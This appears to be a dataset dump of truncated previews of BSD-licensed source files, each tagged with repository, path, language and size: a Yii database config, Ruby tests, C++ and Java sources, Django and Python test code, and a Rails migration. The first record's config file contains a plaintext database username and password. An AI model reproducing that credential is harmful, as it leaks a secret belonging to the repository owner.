<?php return [ 'class' => 'yii\db\Connection', 'dsn' => 'mysql:host=localhost;dbname=yii2bank', 'username' => 'bankadmin', 'password' => '0Filfn6BcjvvgHy6', 'charset' => 'utf8', ];
K4lx4s/yii2bank
config/db.php
PHP
bsd-3-clause
202
# frozen_string_literal: true class StringSplitTest < MrubycTestCase # # Regex not supprted. # description "Sring" def string_case assert_equal ["a","b","c"], "a,b,c".split(",") assert_equal ["a","","b","c"], "a,,b,c".split(",") assert_equal ["a","b:c","d"], "a::...
mrubyc/mrubyc
test/string_split_test.rb
Ruby
bsd-3-clause
4,453
/*********************************************************************************************************************** ** ** Copyright (c) 2011, 2014 ETH Zurich ** All rights reserved. ** ** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the ** follo...
patrick-luethi/Envision
OOInteraction/src/string_offset_providers/Cell.cpp
C++
bsd-3-clause
2,984
# Copyright (c) 2015, National Documentation Centre (EKT, www.ekt.gr) # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # Redistributions of source code must retain the above copyright # n...
EKT/pyrundeck
pyrundeck/exceptions.py
Python
bsd-3-clause
1,781
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright 2015-2018 by ExopyPulses Authors, see AUTHORS for more details. # # Distributed under the terms of the BSD license. # # The full license is in the file LICENCE, distributed with this software. # ---------...
Ecpy/ecpy_pulses
exopy_pulses/testing/context.py
Python
bsd-3-clause
1,203
package uk.sky.cqlmigrate; import com.datastax.oss.driver.api.core.ConsistencyLevel; import com.datastax.oss.simulacron.common.cluster.ClusterSpec; import com.datastax.oss.simulacron.common.cluster.DataCenterSpec; import com.datastax.oss.simulacron.common.cluster.QueryLog; import com.datastax.oss.simulacron.common.clu...
sky-uk/cqlmigrate
src/test/java/uk/sky/cqlmigrate/CqlMigratorConsistencyLevelIntegrationTest.java
Java
bsd-3-clause
12,518
<?php use Core\Test\ControllerTestCase; use Application\Controller\IndexController; use Application\Model\Chamado; use Zend\Http\Request; use Zend\Stdlib\Parameters; use Zend\View\Renderer\PhpRenderer; /** * @group Controller */ class IndexControllerTest extends ControllerTestCase { /** * Namespace comple...
afntoninho/trampo
module/Application/tests/src/Application/Controller/IndexControllerTest.php
PHP
bsd-3-clause
4,501
require 'save_without_timestamping' #Needed because Asset model may not exist any more class Asset < ActiveRecord::Base belongs_to :resource, :polymorphic => true end class TransferAssetDataToResources < ActiveRecord::Migration def self.up count = 0 Asset.all.each do |asset| resource = asset.resou...
njall/wel-seek
db/migrate/archive/20100708073047_transfer_asset_data_to_resources.rb
Ruby
bsd-3-clause
1,406
__author__ = 'Thomas Rueckstiess, ruecksti@in.tum.de' from agent import Agent from pybrain.datasets import ReinforcementDataSet class HistoryAgent(Agent): """ This agent stores actions, states, and rewards encountered during interaction with an environment in a ReinforcementDataSet (which is a variation o...
daanwierstra/pybrain
pybrain/rl/agents/history.py
Python
bsd-3-clause
2,202
DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': 'test.sqlite', } } INSTALLED_APPS = [ 'nocaptcha_recaptcha', ] MIDDLEWARE_CLASSES = [ 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib....
ImaginaryLandscape/django-nocaptcha-recaptcha
test_settings.py
Python
bsd-3-clause
636
# -*- coding: utf-8 -*- """Test forms.""" from personal_website.article.forms import ArticleForm from personal_website.public.forms import LoginForm class TestArticleForm: """Article Form.""" def test_title_required(self, article): """Publish article.""" form = ArticleForm(body=article.body,...
arewellborn/Personal-Website
tests/test_forms.py
Python
bsd-3-clause
2,446
from django.contrib import admin import models admin.site.register(models.Song) admin.site.register(models.Station) admin.site.register(models.Vote) admin.site.register(models.StationPoll) admin.site.register(models.StationVote)
f4nt/djpandora
djpandora/admin.py
Python
bsd-3-clause
230
/** *============================================================================ * Copyright The Ohio State University Research Foundation, The University of Chicago - * Argonne National Laboratory, Emory University, SemanticBits LLC, and * Ekagra Software Technologies Ltd. * * Distributed under the OSI-approved B...
NCIP/cagrid-core
caGrid/projects/data/src/java/utilities/gov/nih/nci/cagrid/data/utilities/validation/WSDLUtils.java
Java
bsd-3-clause
4,989